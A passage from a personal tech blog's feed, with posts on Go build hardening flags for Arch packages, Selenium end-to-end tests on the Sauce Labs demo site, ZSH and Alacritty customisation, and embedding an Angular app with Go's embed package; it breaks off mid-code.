export GOFLAGS=&quot;-buildmode=pie -trimpath -mod=readonly -modcacherw&quot;
export GOLDFLAGS=&quot;-linkmode=external&quot;
</code></pre><p>Explanation for each flag:</p>
<ul>
<li>CGO_ENABLED needs to be set to 1 for most of the features.. this can make binary distribution problematic.</li>
<li>-buildmode=pie enables PIE compilation for binary harderning.</li>
<li>-trimpath important for Reproducible Builds so full build paths and module paths are not embedded.</li>
<li>-mod=readonly ensure the module files are not updated in any go actions.</li>
<li>-modcacherw is not important, but it ensures that go modules creates a write-able path. Default is read-only.</li>
<li>-linkmode=external ensure we use an external linker, because the Go linker is not capable of all operations that are necessary.</li>
</ul>
<p>Our full Go package guidelines can be found in our Wiki<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup>. This article has been heavily influenced by and partly copied from
an <a href="https://github.com/cncf/tag-security/issues/422">issue in the CNCF/tag-security repository</a></p>
<section class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1" role="doc-endnote">
<p><a href="https://lists.archlinux.org/pipermail/arch-dev-public/2016-October/028405.html">https://lists.archlinux.org/pipermail/arch-dev-public/2016-October/028405.html</a> <a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2" role="doc-endnote">
<p><a href="https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro">https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro</a> <a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3" role="doc-endnote">
<p><a href="https://en.wikipedia.org/wiki/Stack_buffer_overflow#Stack_canaries">https://en.wikipedia.org/wiki/Stack_buffer_overflow#Stack_canaries</a> <a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4" role="doc-endnote">
<p><a href="https://en.wikipedia.org/wiki/NX_bit">https://en.wikipedia.org/wiki/NX_bit</a> <a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5" role="doc-endnote">
<p><a href="https://en.wikipedia.org/wiki/Position-independent_code">https://en.wikipedia.org/wiki/Position-independent_code</a> <a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6" role="doc-endnote">
<p><a href="https://en.wikipedia.org/wiki/Rpath">https://en.wikipedia.org/wiki/Rpath</a> <a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7" role="doc-endnote">
<p><a href="https://access.redhat.com/blogs/766093/posts/1976213">https://access.redhat.com/blogs/766093/posts/1976213</a> <a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8" role="doc-endnote">
<p><a href="https://www.archlinux.org/news/test-sec-flags-call-for-assistance/">https://www.archlinux.org/news/test-sec-flags-call-for-assistance/</a> <a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9" role="doc-endnote">
<p><a href="https://github.com/pid1/test-sec-flags">https://github.com/pid1/test-sec-flags</a> <a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10" role="doc-endnote">
<p><a href="https://github.com/pid1/test-sec-flags/wiki">https://github.com/pid1/test-sec-flags/wiki</a> <a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11" role="doc-endnote">
<p><a href="https://wiki.archlinux.org/index.php/Go_package_guidelines#Flag_meaning">https://wiki.archlinux.org/index.php/Go_package_guidelines#Flag_meaning</a> <a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</section>
]]></content></item><item><title>Automated Website Testing with Selenium</title><link>https://shibumi.dev/posts/automated-website-testing/</link><pubDate>Fri, 18 Jun 2021 01:50:14 +0200</pubDate><guid>https://shibumi.dev/posts/automated-website-testing/</guid><description>Today&amp;rsquo;s blog article is a more unusual one. If you know me in person you would not connect me to web development, but yet here we are. So, how do I got here? One student at my university has asked me if I could help and have a look on their code. He was working on unit tests with Selenium on a very beginner friendly level. This is how I got more interested in this topic.</description><content type="html"><![CDATA[<p>Today&rsquo;s blog article is a more unusual one. If you know me in person you would not connect me to web development,
but yet here we are. So, how do I got here? One student at my university has asked me if I could help and have a look on their code.
He was working on unit tests with Selenium on a very beginner friendly level. This is how I got more interested in this
topic.</p>
<p>As usual, first a few questions:</p>
<ul>
<li>What is automated website testing?</li>
<li>What is Selenium?</li>
<li>Why do I need all of this?</li>
</ul>
<p>If you or your company works with websites you usually find yourself in the same situation over and over again.
You work on a new feature, you push it and &hellip; you hope that nothing breaks. Most cases can be catched via
traditional unit testing on the code layer, but sometimes you want end-to-end tests. End-to-end means
in this context that you test the actual behavior of the website. You takeover the role of the customer
or visitor and you verify that everything works as expected. This work can be toilsome and tedious, because
if you do many websites or if you have a fast development cycle you will find yourself over and over in the situation
that you need to test the website manually. Automated website testing tries to solve this problem and Selenium
is the biggest library (correct me I am wrong) that helps achieving this goal.</p>
<p>With Selenium you can simulate everything:</p>
<ul>
<li>Different browser versions</li>
<li>Different operating system versions</li>
<li>Different browsers (Firefox, Chrome, &hellip;)</li>
<li>You can even do things that have nothing to do with testing (automating website visits or pentesting for example)</li>
</ul>
<p>If I recall correctly, you can even insert some chaos and/or performance glitches.</p>
<p>I do not want to talk too much so let us dive directly into some code. All code can be found at <a href="https://github.com/shibumi/selenium-demo/">https://github.com/shibumi/selenium-demo/</a>.</p>
<p>First, you need a webdriver. The most common webdrivers are the geckodriver (by Mozilla/Firefox) and the chromedriver (by Google).
For the next code snippets you need to have have the webdriver in your PATH (I recommend using the geckodriver, because it is in the Arch Linux repositories).</p>
<p>Our first example is really easy one. We will just connect to a website and get its title. The title is being displayed in the browser tab.
The following code consists of everything what you need for your first selenium experience. I use the unittest library here, because I am used to it, but
of course you can just call your own functions. However, the unittest library has a few advantages. Every function that start with a <code>test</code> will get executed automatically.
In my example the function <code>test_title</code> is expecting a string and compares it to the title in the variable <code>self.browser.title</code>. On success we return True on failure we return
False. Executing this example gives us nice output via the unittest library (so much about its advantages).</p>
<div class="highlight"><pre class="chroma"><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">unittest</span>
<span class="kn">from</span> <span class="nn">selenium</span> <span class="kn">import</span> <span class="n">webdriver</span>

<span class="k">class</span> <span class="nc">TestMain</span><span class="p">(</span><span class="n">unittest</span><span class="o">.</span><span class="n">TestCase</span><span class="p">):</span>

    <span class="nd">@classmethod</span>
    <span class="k">def</span> <span class="nf">setUpClass</span><span class="p">(</span><span class="bp">cls</span><span class="p">):</span>
        <span class="bp">cls</span><span class="o">.</span><span class="n">browser</span> <span class="o">=</span> <span class="n">webdriver</span><span class="o">.</span><span class="n">Firefox</span><span class="p">()</span>
        <span class="bp">cls</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&#34;https://shibumi.dev&#34;</span><span class="p">)</span>

    <span class="nd">@classmethod</span>
    <span class="k">def</span> <span class="nf">tearDownClass</span><span class="p">(</span><span class="bp">cls</span><span class="p">):</span>
        <span class="bp">cls</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">quit</span><span class="p">()</span>

    <span class="k">def</span> <span class="nf">test_title</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">expected</span> <span class="o">=</span> <span class="s2">&#34;Christian Rebischke&#34;</span>
        <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">title</span> <span class="o">!=</span> <span class="n">expected</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="s2">&#34;invalid title got {}, but want {}&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">title</span><span class="p">,</span> <span class="n">expected</span><span class="p">))</span>
            <span class="k">return</span> <span class="bp">False</span>
        <span class="k">return</span> <span class="bp">True</span>

<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
    <span class="n">unittest</span><span class="o">.</span><span class="n">main</span><span class="p">()</span>
</code></pre></div><p>But what about the other two methods? The other two methods are class methods in the context of the unittest library. We cannot utilize the <code>__init__</code> method
for initializing the class TestMain at this point, because it is already being used internally by the library (well, we could overwrite.. but this would get ugly).
Hence, we are defining two class methods in the context of TestMain (recognizable by the <code>@classmethod</code> attribute and the <code>cls</code> argument). These two methods
take care of setting up and tearing down our test environment. The methods <code>setUpClass</code> and <code>tearDownClass</code> get executed exactly <strong>once</strong>, even if we have more than one test.
Using these two methods gives us the possibility to create a test environment. In this example we define our webdriver (firefox) and do a first website call via the
HTTP method <strong>GET</strong>. In our first test <code>test_title</code> we just compare the title. The <code>tearDownClass</code> method closes the browser. Why closing? If you execute this snippet
you will see how firefox calls my blog. The last two lines just start the test routine.</p>
<p>So what about a more complicated example. Our next example will utilize a demo website by Sauce Labs <a href="https://saucedemo.com">https://saucedemo.com</a>.
If you have a closer look on it, it does not look that different. In <code>setUpClass</code> we initialize the browser and a few variables (passwords, usernames, valid URLs).
We have four new methods in this code. Two helper methods and two test methods. The helper methods do not need to start with <code>helper</code>, I just named them like this, because
I thought it is easier to read. We remember, everything what starts with <code>test</code> gets executed. Additionally, we have two new test methods called <code>test_valid_logins</code>
and <code>test_invalid_logins</code>. Both methods make use of the helper methods for the login and logout. In these four methods we see seleniums full potential.
We can directly refer to elements in the website&rsquo;s HTML code and we can submit actions on that website (sending keys or clicking a button).
With the first function we select the target and with the chained function we can directly call an action on that item.
For example, if we want to fill out a form that asks for the username and the password, we simply look via the browser&rsquo;s dev tools for the
IDs of these elements. In Chromium this works via ctrl+shift+I for opening the dev tools and ctrl+shift+c for inspecting elements via the mouse.
If you click on those elements in the inspection mode the corresponding element will be highlighted on the right revealing the id.
The same works for CSS classes. Just select the element, for example an error button (like in the <code>test_invalid_login</code> method) and use the <code>find_element_by_css_selector</code> method
for executing actions on that element.</p>
<div class="highlight"><pre class="chroma"><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">unittest</span>
<span class="kn">from</span> <span class="nn">selenium</span> <span class="kn">import</span> <span class="n">webdriver</span>
<span class="kn">from</span> <span class="nn">selenium.webdriver.common.by</span> <span class="kn">import</span> <span class="n">By</span>
<span class="kn">from</span> <span class="nn">selenium.webdriver.support.select</span> <span class="kn">import</span> <span class="n">Select</span>

<span class="k">class</span> <span class="nc">TestMain</span><span class="p">(</span><span class="n">unittest</span><span class="o">.</span><span class="n">TestCase</span><span class="p">):</span>

    <span class="nd">@classmethod</span>
    <span class="k">def</span> <span class="nf">setUpClass</span><span class="p">(</span><span class="bp">cls</span><span class="p">):</span>
        <span class="bp">cls</span><span class="o">.</span><span class="n">base_url</span> <span class="o">=</span> <span class="s2">&#34;https://www.saucedemo.com/&#34;</span>
        <span class="bp">cls</span><span class="o">.</span><span class="n">browser</span> <span class="o">=</span> <span class="n">webdriver</span><span class="o">.</span><span class="n">Firefox</span><span class="p">()</span>
        <span class="bp">cls</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="bp">cls</span><span class="o">.</span><span class="n">base_url</span><span class="p">)</span>
        <span class="bp">cls</span><span class="o">.</span><span class="n">password</span> <span class="o">=</span> <span class="s2">&#34;secret_sauce&#34;</span> <span class="c1"># one password for all users</span>
        <span class="bp">cls</span><span class="o">.</span><span class="n">valid_users</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;standard_user&#34;</span><span class="p">,</span> <span class="s2">&#34;problem_user&#34;</span><span class="p">,</span> <span class="s2">&#34;performance_glitch_user&#34;</span><span class="p">]</span>
        <span class="bp">cls</span><span class="o">.</span><span class="n">invalid_users</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;locked_out_user&#34;</span><span class="p">]</span>
        <span class="bp">cls</span><span class="o">.</span><span class="n">valid_url</span> <span class="o">=</span> <span class="s2">&#34;/inventory.html&#34;</span>

    <span class="nd">@classmethod</span>
    <span class="k">def</span> <span class="nf">tearDownClass</span><span class="p">(</span><span class="bp">cls</span><span class="p">):</span>
        <span class="bp">cls</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">quit</span><span class="p">()</span>

    <span class="k">def</span> <span class="nf">helper_login</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">):</span>
        <span class="bp">self</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">find_element_by_id</span><span class="p">(</span><span class="s1">&#39;user-name&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">send_keys</span><span class="p">(</span><span class="n">user</span><span class="p">)</span>
        <span class="bp">self</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">find_element_by_id</span><span class="p">(</span><span class="s1">&#39;password&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">send_keys</span><span class="p">(</span><span class="n">password</span><span class="p">)</span>
        <span class="bp">self</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">find_element_by_id</span><span class="p">(</span><span class="s1">&#39;login-button&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">click</span><span class="p">()</span>

    <span class="k">def</span> <span class="nf">helper_logout</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="bp">self</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">find_element_by_id</span><span class="p">(</span><span class="s1">&#39;react-burger-menu-btn&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">click</span><span class="p">()</span>
        <span class="bp">self</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">find_element_by_id</span><span class="p">(</span><span class="s1">&#39;logout_sidebar_link&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">click</span><span class="p">()</span>

    <span class="k">def</span> <span class="nf">test_valid_logins</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">user</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">valid_users</span><span class="p">:</span>
            <span class="bp">self</span><span class="o">.</span><span class="n">helper_login</span><span class="p">(</span><span class="n">user</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">password</span><span class="p">)</span>
            <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">valid_url</span> <span class="ow">not</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">current_url</span><span class="p">:</span>
                <span class="k">return</span> <span class="bp">False</span>
            <span class="bp">self</span><span class="o">.</span><span class="n">helper_logout</span><span class="p">()</span>

    <span class="k">def</span> <span class="nf">test_invalid_logins</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">user</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">invalid_users</span><span class="p">:</span>
            <span class="bp">self</span><span class="o">.</span><span class="n">helper_login</span><span class="p">(</span><span class="n">user</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">password</span><span class="p">)</span>
            <span class="k">if</span> <span class="ow">not</span> <span class="bp">self</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">find_element_by_css_selector</span><span class="p">(</span><span class="s1">&#39;.error-button&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">is_displayed</span><span class="p">():</span>
                <span class="c1"># if we accidently login logout</span>
                <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">valid_url</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">current_url</span><span class="p">:</span>
                    <span class="bp">self</span><span class="o">.</span><span class="n">helper_logout</span><span class="p">()</span>
                <span class="bp">self</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">base_url</span><span class="p">)</span>
                <span class="k">return</span> <span class="bp">False</span>
            <span class="bp">self</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">base_url</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">test_connection</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">expected</span> <span class="o">=</span> <span class="s2">&#34;Swag Labs&#34;</span>
        <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">browser</span><span class="o">.</span><span class="n">title</span> <span class="o">!=</span> <span class="n">expected</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="s2">&#34;Title is invalid&#34;</span><span class="p">)</span>
            <span class="k">return</span> <span class="bp">False</span>
        <span class="k">return</span> <span class="bp">True</span>

<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
    <span class="n">unittest</span><span class="o">.</span><span class="n">main</span><span class="p">()</span>
</code></pre></div><p>This is the blog article for today. It got a little bit longer as expected and I am writing this down at 02:30AM, so forgive me a few grammar or spelling mistakes.
If you find mistakes or even better, you have some cool advice for me regarding Selenium, feel free to drop me an email. I would be happy to hear some tricks.</p>
<p>As Site Reliability Engineer I am not really responsible for website testing, but I consider this topic as helpful in propagating a culture of less toil
and more automation. Site Reliability Engineering itself might be a nice topic for one of my next blog articles. Stay tuned!</p>
]]></content></item><item><title>Boost your productivity with ZSH and Alacritty</title><link>https://shibumi.dev/posts/zsh-and-alacritty/</link><pubDate>Fri, 21 May 2021 18:32:48 +0200</pubDate><guid>https://shibumi.dev/posts/zsh-and-alacritty/</guid><description>In today&amp;rsquo;s article I would like to shine some light on my local terminal setup. My setup consists of ZSH and Alacritty. ZSH or the Z shell is an extended variant of the Bourne again shell (bash). It comes with a few useful features and extensions. Many people use the ZSH mostly for nice shell prompts or tab completion. This article will be about more advanced features, like custom shortcuts. Alacritty is a terminal emulator written in Rust.</description><content type="html"><![CDATA[<p>In today&rsquo;s article I would like to shine some light on my local terminal setup.
My setup consists of ZSH and <a href="https://github.com/alacritty/alacritty">Alacritty</a>.
ZSH or the Z shell is an extended variant of the Bourne again shell (bash). It comes
with a few useful features and extensions. Many people use the ZSH mostly for
nice shell prompts or tab completion. This article will be about more advanced features,
like custom shortcuts. Alacritty is a terminal emulator written in Rust. It has
native GPU support. GPU support alone is a dealbreaker (there are not so many GPU supported
terminals in the Linux world besides Alacritty). The other feature I would like to focus on today
is Alacritty&rsquo;s new regex hints.</p>
<p>Let us start with the ZSH features. You can find the full configuration for my Z shell on Github:
<a href="https://github.com/shibumi/hikari">https://github.com/shibumi/hikari</a>.</p>
<p>What problem do I want to solve with my configuration? You might found yourself in a situation where you
wanted to quickly surround a word with single or double quotes. Just imagine a long URL with some
special characters. Of course it is possible to quickly move around with the ctrl+arrow keys or
alt+arrow keys, but there is a even faster solution: The ZSH command line editor (zshzle).</p>
<p>With zshzle you can modify the current ZSH buffer directly. This means that you are able to
define custom shortcuts for custom operations. For example the following snippet will
print the current date directly in the ZSH commandline via pressing ctrl+x and then d:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="k">function</span> insert-datestamp <span class="o">()</span> <span class="o">{</span> <span class="nv">LBUFFER</span><span class="o">+=</span><span class="si">${</span><span class="p">(%)</span><span class="k">:-</span><span class="s1">&#39;%D{%Y-%m-%d}&#39;</span><span class="si">}</span><span class="p">;</span> <span class="o">}</span>
zle -N insert-datestamp
bindkey <span class="s2">&#34;^xd&#34;</span> insert-datestamp
</code></pre></div><p>The first line defines a function that modifies the LBUFFER. This is everything left of your cursor.
We use the LBUFFER to extend the LBUFFER with the current date in the format 2021-05-22.
The second line activates the extension and the third line binds the extension to a shortcut.
The shortcut &ldquo;^xd&rdquo; means ctrl+x and then d.</p>
<p>I have created the following extensions so far:</p>
<ul>
<li>inserting the current date</li>
<li>adding a <code>sudo</code> in front of the command line</li>
<li>jumping after the first word. Very useful for inserting flags</li>
<li>surrounding words with single or double quotes</li>
<li>deleting everything between single or double quotes</li>
<li>copying the last word. Very useful in situations like: <code>cp foobar.txt foobar.txt.bak</code>.</li>
<li>insert the last modified file. Useful for big folders and finding the last modified file automatically.</li>
</ul>
<p>My github repository has a few gifs. Go check them out, they give a good feeling for the features.
Additionally, I can totally recommend writing your own ZSH configuration from scratch. You will learn
a lot while doing so and the prompt will react faster, too. Some other features of my ZSH configuration:</p>
<ul>
<li>simple prompt that works on every system (no special icons needed)</li>
<li>loading of ZSH plugins like zsh-syntax-highlighting</li>
<li>skim support (fuzzy-search for history or directory jumps. I love it)</li>
<li>Tab completion of course</li>
</ul>
<p>The next topic is about the new Alacritty regex hints. With Alacritty 0.8.0 you are able to match on custom
regex on your current buffer. The buffer consists of everything what you can see in the terminal.</p>
<p>Just think about how often you copy-pasted an IP address manually with your mouse. You have to take your
hand off from the keyboard.. move with the cursor on it.. click on it.. maybe even copy it (or have it directly in your buffer)
then move back and paste it. With Alacritty&rsquo;s new regex hints this can be done automatically.
The Alacritty configuration for this looks like this:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="k">hints</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">enabled</span><span class="p">:</span><span class="w">
</span><span class="w">    </span>- <span class="k">regex</span><span class="p">:</span><span class="w"> </span><span class="s1">&#39;([0-9a-f]{12,128})|([[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3})&#39;</span><span class="w">
</span><span class="w">      </span><span class="k">action</span><span class="p">:</span><span class="w"> </span>Copy<span class="w">
</span><span class="w">      </span><span class="k">post_processing</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span><span class="w">      </span><span class="k">binding</span><span class="p">:</span><span class="w">
</span><span class="w">        </span><span class="k">key</span><span class="p">:</span><span class="w"> </span>U<span class="w">
</span><span class="w">        </span><span class="k">mods</span><span class="p">:</span><span class="w"> </span>Control|Shift<span class="w">
</span></code></pre></div><p>If you reload Alacritty with this configuration and you see an IP address on your buffer, just press ctrl+shift+u and you will
see little flags near the IP addresses. Press the button on your keyboard and you will trigger the defined action. In this case
the IP address will get copied to the clipboard, but you can directly paste it or choose a custom command, too. For
custom commands just replace <code>action: Copy</code> with <code>command: chromium</code> and it will open the matched word in the browser.</p>
<p>How is this useful? I use this for many cases. My regex consists of the following sub regexes right now:</p>
<ul>
<li>Kubernetes Resources (very useful for copying resources and then inspecting them. Pro tip: use <code>kubectl get resource --show-kind=true</code>)</li>
<li>UUIDs</li>
<li>IP addresses</li>
<li>long hex strings</li>
<li>URLs</li>
</ul>
<p>If you come up with more ideas, feel free to write me. My full Alacritty configuration can be found here:  <a href="https://github.com/shibumi/dotfiles/blob/master/.config/alacritty/alacritty.yml">https://github.com/shibumi/dotfiles/blob/master/.config/alacritty/alacritty.yml</a></p>
<p>The screenshot shows a few hints in action (IP addresses, UUIDs, kubernetes resources and hex strings):
<img src="/img/img-2021-05-22-02-19-35.png" alt="screenshot of alacritty showing the regex feature"></p>
]]></content></item><item><title>Go Embed and Angular</title><link>https://shibumi.dev/posts/go-embed-and-angular/</link><pubDate>Sun, 18 Apr 2021 20:51:18 +0200</pubDate><guid>https://shibumi.dev/posts/go-embed-and-angular/</guid><description>Hi, there. Today&amp;rsquo;s article will be a rather short article. In this article I would like to showcase Go 1.16 new embed package. If you are familiar with Go you might know embedding functionality already from famous other libraries like go-bindata. The problem with go-bindata has been that upstream vanished one day and then multiple forks appeared and every company or person was doing their own thing with embedding assets into Go programs.</description><content type="html"><![CDATA[<p>Hi, there. Today&rsquo;s article will be a rather short article. In this article I would like to showcase
Go 1.16 new <code>embed</code> package. If you are familiar with Go you might know embedding functionality already from
famous other libraries like <code>go-bindata</code>. The problem with <code>go-bindata</code> has been that upstream vanished one day
and then multiple forks appeared and every company or person was doing their own thing with embedding assets
into Go programs. With the new <code>embed</code> package this shall be changed <strong>and</strong> embedding files shall be officially
supported and more easy in the future.</p>
<p>For this article I have picked a github project: <a href="https://github.com/Shpota/go-angular">https://github.com/Shpota/go-angular</a>.
Sasha&rsquo;s project is an excellent example on how we can make use of the new <code>embed</code> package.</p>
<p>The project consists of two important directories:</p>
<ul>
<li>server: includes all Go code</li>
<li>webapp: includes the Angular App</li>
</ul>
<p>Getting more into frontend development has been one of my main goals with this article, hence
forgive me if I write something wrong about it. The Angular app can be build with the following commands:</p>
<pre><code>$ cd webapp
$ npm install
$ ./node_modules/.bin/ng build --prod
</code></pre><p>On default, this will produce a <code>dist</code> directory storing the &lsquo;compiled&rsquo; Angular project.
In Sasha&rsquo;s version Sasha served this assets via a <code>http.Fileserver</code>:</p>
<div class="highlight"><pre class="chroma"><code class="language-go" data-lang="go"><span class="kd">func</span> <span class="p">(</span><span class="nx">a</span> <span class="o">*</span><span class="nx">App</span><span class="p">)</span> <span class="nf">start</span><span class="p">()</span> <span class="p">{</span>
	<span class="nx">a</span><span class="p">.</span><span class="nx">db</span><span class="p">.</span><span class="nf">AutoMigrate</span><span class="p">(</span><span class="o">&amp;</span><span class="nx">student</span><span class="p">{})</span>
	<span class="nx">a</span><span class="p">.</span><span class="nx">r</span><span class="p">.</span><span class="nf">HandleFunc</span><span class="p">(</span><span class="s">&#34;/students&#34;</span><span class="p">,</span> <span class="nx">a</span><span class="p">.</span><span class="nx">getAllStudents</span><span class="p">).</span><span class="nf">Methods</span><span class="p">(</span><span class="s">&#34;GET&#34;</span><span class="p">)</span>
	<span class="nx">a</span><span class="p">.</span><span class="nx">r</span><span class="p">.</span><span class="nf">HandleFunc</span><span class="p">(</span><span class="s">&#34;/students&#34;</span><span class="p">,</span> <span class="nx">a</span><span class="p">.</span><span class="nx">addStudent</span><span class="p">).</span><span class="nf">Methods</span><span class="p">(</span><span class="s">&#34;POST&#34;</span><span class="p">)</span>
	<span class="nx">a</span><span class="p">.</span><span class="nx">r</span><span class="p">.</span><span class="nf">HandleFunc</span><span class="p">(</span><span class="s">&#34;/students/{id}&#34;</span><span class="p">,</span> <span class="nx">a</span><span class="p">.</span><span class="nx">updateStudent</span><span class="p">).</span><span class="nf">Methods</span><span class="p">(</span><span class="s">&#34;PUT&#34;</span><span class="p">)</span>
	<span class="nx">a</span><span class="p">.</span><span class="nx">r</span><span class="p">.</span><span class="nf">HandleFunc</span><span class="p">(</span><span class="s">&#34;/students/{id}&#34;</span><span class="p">,</span> <span class="nx">a</span><span class="p">.</span><span class="nx">deleteStudent</span><span class="p">).</span><span class="nf">Methods</span><span class="p">(</span><span class="s">&#34;DELETE&#34;</span><span class="p">)</span>
	<span class="nx">a</span><span class="p">.</span><span class="nx">r</span><span class="p">.</span><span class="nf">PathPrefix</span><span class="p">(</span><span class="s">&#34;/&#34;</span><span class="p">).</span><span class="nf">Handler</span><span class="p">(</span><span class="nx">http</span><span class="p">.</span><span class="nf">FileServer</span><span class="p">(</span><span class="nx">http</span><span class="p">.</span><span class="nf">Dir</span><span class="p">(</span><span class="s">&#34;./webapp/dist/webapp/&#34;</span><span class="p">)))</span>
	<span class="nx">log</span><span class="p">.</span><span class="nf">Fatal</span><span class="p">(</span><span class="nx">http</span><span class="p">.</span><span class="nf">ListenAndServe</span><span class="p">(</span><span class="s">&#34;:8080&#34;</span><span class="p">,</span> <span class="nx">a</span><span class="p">.</span><span class="nx">r</span><span class="p">))</span>
<span class="p">}</span>
</code></pre></div><p>The disadvantage of this approach is that you will end up with a Go binary and a separate, dedicated
<code>webapp/dist/webapp</code> directory with all static asset files. This might does not matter if you plan to serve
your application in a Docker image anyway, but a single Go binary can be useful sometimes for other deployment
scenarios.</p>
<p>Therefore I made a few modifications to use the new Go 1.16 <code>embed</code> package with this project.
If you like to skip directly to my changes feel free to check out the following link: <a href="https://github.com/shibumi/go-angular">https://github.com/shibumi/go-angular</a>.</p>
<p>First of all I have changed the output path for the Angular generated assets in the <code>angular.json</code> file via setting <code>&quot;outputPath&quot;: &quot;../server/static&quot;</code>.
With this change Angular will move the static assets to a new <code>static</code> directory inside of the server directory.
Why do we need this? We need this, because the <code>embed</code> package does not support <code>../</code>, <code>./</code> or leading slashes, hence we cannot
import data from the webapp (one possible solution is to place a Go file in the webapp directory, but I have not tried this).</p>
<p>The next change I made was a slightly modification of the <code>app.go</code> file:</p>
<div class="highlight"><pre class="chroma"><code class="language-go" data-lang="go"><span class="c1">// first I introduced a new global variable
</span><span class="c1">//go:embed static
</span><span class="c1"></span><span class="kd">var</span> <span class="nx">static</span> <span class="nx">embed</span><span class="p">.</span><span class="nx">FS</span>

<span class="c1">// .....
</span><span class="c1"></span>
<span class="c1">// Then I modified the start() function accordingly:
</span><span class="c1"></span>
<span class="kd">func</span> <span class="p">(</span><span class="nx">a</span> <span class="o">*</span><span class="nx">App</span><span class="p">)</span> <span class="nf">start</span><span class="p">()</span> <span class="p">{</span>
	<span class="nx">a</span><span class="p">.</span><span class="nx">db</span><span class="p">.</span><span class="nf">AutoMigrate</span><span class="p">(</span><span class="o">&amp;</span><span class="nx">student</span><span class="p">{})</span>
